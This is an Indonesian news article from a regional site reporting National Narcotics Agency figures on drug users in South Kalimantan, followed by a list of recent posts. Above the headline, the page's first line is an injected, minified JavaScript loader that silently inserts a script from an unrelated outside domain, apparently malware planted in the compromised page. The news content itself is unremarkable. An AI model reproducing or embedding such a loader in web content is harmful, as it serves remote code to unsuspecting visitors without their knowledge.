(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ada 59.590 Pengguna Narkoba, Kalsel Masuk Posisi 5 Besar se-Indonesia


BANJARMASIN, Badan Narkotika Nasional (BNN) Kalsel merilis tingkat pengguna narkoba di Banua ini mencatatkan indeks 1,97 persen atau berada di posisi lima se-Indonesia. Diperkirakan sebanyak 59.590 orang menjadi pengguna narkoba di Kalsel. Ini belum termasuk pengguna zat adiktif.

Demikian disampaikan Kepala Bidang Pencegahan dan Pemberdayaan Masyarakat BNN Kalsel Ifansyah saat menggelar jumpa pers indeks pengguna narkoba Kalsel. Dia menegaskan keterlibatan pemerintah daerah dan pihak swasta dalam menekan angka pengguna narkoba saat ini masih minim. Sehingga perlu langkah konkret menekan peredaran narkoba lewat memberdayakan masyarakat.

Ifansyah mengatakan, upaya pencegahan dan mendeteksi pengguna narkoba juga dilakukan BNN Provinsi Kalsel. Menurut Ifansyah, tes urine telah dilakukan ke semua kalangan. Tercatat, ada 1.133 mahasiswa, 281 karyawan, 1.843 pegawai negeri sipil dan 70 masyarakat telah menjalani tes urine. “Total ada 3.251 orang yang telah menjalani tes urine. Kalangan yang paling banyak positif narkoba berasal dari kalangan swasta. Saat ini telah dilakukan pembinaan terhadap mereka,” katanya.

Menurutnya, saat ini layanan deteksi dini penyalahgunaan narkoba di intansi pemerintah belum maksimal. Hanya mencapai 70 persen. “Ini karena belum ada permintaan yang merata di intansi pemerintah maupun pihak swasta. Padahal, berdasar Inpres Nomor 6 Tahun 2018, intansi pemerintah dan swasta wajib melakukan tes urine. Bahkan, sudah ada beberapa lembaga yang berkomitmen untuk anti narkoba,” ujarnya.

Saat ini telah direkrut 150 pegiat anti narkoba berasal dari kalangan mahasiswa sebanyak 40 orang, 40 karyawan swasta, 40 berasal dari instansi pemerintah dan 30 berasal dari kalangan masyarakat.

Ifansyah mengatakan anggaran yang disuplai pemerintah untuk pencegahan dan pemberdayaan masyarakat pada 2018 sebesar Rp 480 juta. Dana itu digunakan untuk advokasi pembangunan berwawasan anti narkoba Rp 126 juta dan diseminasi informasi P4GN Rp 353.600.000.(rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

11 menit ago

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

2 jam ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

2 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

3 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

4 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

5 jam ago

This website uses cookies.